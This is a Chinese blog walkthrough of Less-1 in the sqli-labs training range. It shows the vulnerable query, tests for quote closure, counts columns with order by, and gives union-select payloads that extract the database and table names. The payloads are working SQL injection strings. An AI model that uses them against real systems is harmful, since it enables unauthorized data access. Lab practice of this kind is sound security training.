sqli-labs靶场练习Less-1~10(持续更新)--ch4nge

本文是作者ch4nge关于sqli-labs靶场练习的实战记录,详细讲解了Less1到Less10的SQL注入技巧,包括联合注入、报错注入、SQLMap使用等,涉及闭合方法、信息爆破、文件写入等实战操作。
摘要由CSDN通过智能技术生成

sqli-labs靶场练习

作者:ch4nge

SQL注入练习
靶场环境:BUUOJ
(前期自己本地使用phpstudy搭建的,后来使用buuctf)

测试闭合方法



sqli-labs(1)-Less1·UE

源码:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

测试闭合方法
看我的这篇文章
先看错误信息(如果有),输入id=1’报错
01
单独拿出来''1'' LIMIT 0,1'
把最外面引号去掉得到'1'' LIMIT 0,1
===我们刚才输入的'应该就是1后面多出来的那个单引号
验证一下:?id=1)'
错误信息是'1)'' LIMIT 0,1
由此可以想到select * from xxx where id='$id' LIMIT 0,1
使用or闭合一下试试?id=1' or '1'='1
这样闭合后是这样的

select * from xxx where id='1' or '1'='1' LIMIT 0,1

所以语句正确的,可以正常查询
02

结论:使用单引号闭合

1. 联合注入

?id=-1’ union select 1,2,3--+

判断注入点:
?id=1正常
1
id=1’发现报错
2
试一下注释符--+-- -可以用,这里用--+
3
这个时候就可以大致猜到后台查询数据库的语句

select * from xxx where id='$id' LIMIT 0,1

然后使用order by看列数

?id=1‘order by 8–+报错
?id=1‘order by 4–+报错
?id=1‘order by 2–+正常
?id=1‘order by 3–+正常

4
当使用order by 3的时候正常,使用order by 4的时候报错,说明有三列数据
查完列数后,注意后面修改 i为非正确值,使用union select查询数据库表信息
union select看返回值
构造payload:
?id=-1' union select 1,2,3--+
2,3存在回显
5
查库名payload:
?id=-1'union select 1,2,database()--+
数据库名字:security
6
查表名payload:
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
7
由于多行数据只能在一个显示框子里面(就是Your Password:)使用group_concat可以在一起显示&

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值